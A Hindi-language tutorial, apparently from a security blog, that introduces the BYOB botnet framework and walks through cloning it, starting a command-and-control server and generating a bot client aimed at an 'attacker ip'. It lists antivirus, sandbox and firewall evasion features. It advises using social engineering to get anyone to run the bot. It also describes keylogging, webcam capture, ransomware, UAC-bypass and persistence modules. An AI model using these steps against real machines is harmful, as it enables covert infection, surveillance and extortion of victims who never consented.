BYOB सुरक्षा शोधकर्ताओं और डेवलपर्स के लिए एक फ्रेमवर्क प्रदान करता है ताकि वे एक बुनियादी बॉटनेट का निर्माण और संचालन कर सकें ताकि उन परिष्कृत मैलवेयर की समझ गहरी हो सके जो हर साल लाखों उपकरणों को संक्रमित करते हैं और आधुनिक बॉटनेट को जन्म देते हैं, ताकि इन खतरों के खिलाफ प्रतिवाद विकसित करने की उनकी क्षमता में सुधार हो सके। यह डेवलपर्स को RAT या कमांड एंड कंट्रोल सर्वर को स्क्रैच से लिखे बिना आसानी से अपना कोड लागू करने और नई सुविधाएं जोड़ने की अनुमति देने के लिए डिज़ाइन किया गया है।
विशेषताएं
- डिस्क पर कुछ भी नहीं लिखा जाता - क्लाइंट कभी भी डिस्क पर कुछ भी नहीं लिखते - अस्थायी फ़ाइलें भी नहीं क्योंकि रिमोट इंपोर्ट मनमाने कोड को मेमोरी में डायनामिक रूप से लोड करने और वर्तमान में चल रही प्रक्रिया में सीधे आयात करने की अनुमति देते हैं।
- प्लेटफॉर्म स्वतंत्र - सब कुछ पायथन में लिखा गया है और जनरेट किए गए क्लाइंट को वैकल्पिक रूप से पोर्टेबल एक्जीक्यूटेबल (विंडोज) में संकलित किया जा सकता है या स्टैंडअलोन एप्लिकेशन में बंडल किया जा सकता है।
- फायरवॉल बायपास - क्लाइंट रिवर्स TCP कनेक्शन के माध्यम से कमांड एंड कंट्रोल सर्वर से कनेक्ट होते हैं, जो अधिकांश फायरवॉल को बायपास कर देगा क्योंकि डिफ़ॉल्ट फ़िल्टर कॉन्फ़िगरेशन मुख्य रूप से इनकमिंग कनेक्शन को ब्लॉक करते हैं।
- एंटीवायरस के खिलाफ प्रतिवाद - ज्ञात एंटीवायरस उत्पादों के नाम वाली प्रक्रियाओं को स्पॉन होने से ब्लॉक करके एंटीवायरस द्वारा विश्लेषण से बचा जाता है।
- विश्लेषण रोकने के लिए पेलोड एन्क्रिप्ट करें - मुख्य क्लाइंट पेलोड को एक रैंडम 256-बिट कुंजी से एन्क्रिप्ट किया जाता है जो केवल पेलोड स्टेजर में मौजूद होती है जो इसके साथ जनरेट होती है।
- रिवर्स-इंजीनियरिंग रोकें - डिफ़ॉल्ट रूप से, यदि वर्चुअल मशीन या सैंडबॉक्स का पता चलता है तो क्लाइंट निष्पादन रोक देंगे।
इंस्टॉल कैसे करें
git clone https://github.com/malwaredllc/byob.gitcd byobpip install -r requirements.txtpython setup.py- यहां दो टर्मिनल का उपयोग किया जाएगा; पहला टर्मिनल बॉट सर्वर होगा जहां सत्र संभाले जाएंगे और दूसरा टर्मिनल बॉट क्लाइंट होगा जहां बॉट बनाए जाएंगे।
python server.py --port 445- फिर एक और लिनक्स टर्मिनल खोलें और टाइप करें
cd /home/cybersecurity/Downloads/byob/byob python client.py --name testbot.py 192.168.1.10(attacker ip) 445
उपरोक्त क्वेरी निष्पादित करने के बाद, एक नया बॉटनेट बनाया जाएगा। उपरोक्त क्वेरी निष्पादित होगी। अब, आप किसी को भी उनके कंप्यूटर में बॉट खोलने के लिए कोई भी सोशल इंजीनियरिंग ट्रिक उपयोग कर सकते हैं। जब टारगेट मशीन में testbot.py निष्पादित होगा, तो बॉटनेट सर्वर में एक सत्र बनाया जाएगा।
पोस्ट-एक्सप्लॉइटेशन
पोस्ट-एक्सप्लॉइटेशन मॉड्यूल जो विक्टिम में बॉटनेट के सफल कॉन्फ़िगरेशन के बाद क्लाइंट्स द्वारा रिमोटली इम्पोर्टेबल हैं।
- कीलॉगर (byob.modules.keylogger): उपयोगकर्ता के कीस्ट्रोक्स और दर्ज विंडो नाम लॉग करता है
- स्क्रीनशॉट (byob.modules.screenshot): वर्तमान उपयोगकर्ता के डेस्कटॉप का स्क्रीनशॉट लें
- वेबकैम (byob.modules.webcam): वेबकैम से लाइव स्ट्रीम देखें या इमेज/वीडियो कैप्चर करें
- रैनसम (byob.modules.ransom): फाइलें एन्क्रिप्ट करें और फिरौती भुगतान के लिए रैंडम BTC वॉलेट जनरेट करें
- पैकेट स्निफर (byob.modules.packetsniffer): होस्ट नेटवर्क पर पैकेट स्निफर चलाएं और .pcap फ़ाइल अपलोड करें
- पर्सिस्टेंस (byob.modules.persistence): होस्ट मशीन पर पर्सिस्टेंस स्थापित करें
- फोन (byob.modules.phone): क्लाइंट स्मार्टफोन से टेक्स्ट मैसेज पढ़ें/खोजें/अपलोड करें
- एस्केलेट प्रिविलेज (byob.modules.escalate): अनधिकृत एडमिनिस्ट्रेटर विशेषाधिकार प्राप्त करने के लिए UAC बायपास का प्रयास करें
- पोर्ट स्कैनर (byob.modules.portscanner): स्थानीय नेटवर्क पर अन्य ऑनलाइन उपकरणों और खुले पोर्ट्स को स्कैन करें
- प्रोसेस कंट्रोल (byob.modules.process): होस्ट पर वर्तमान में चल रही प्रक्रियाओं को सूचीबद्ध/खोजें/मारें/मॉनिटर करें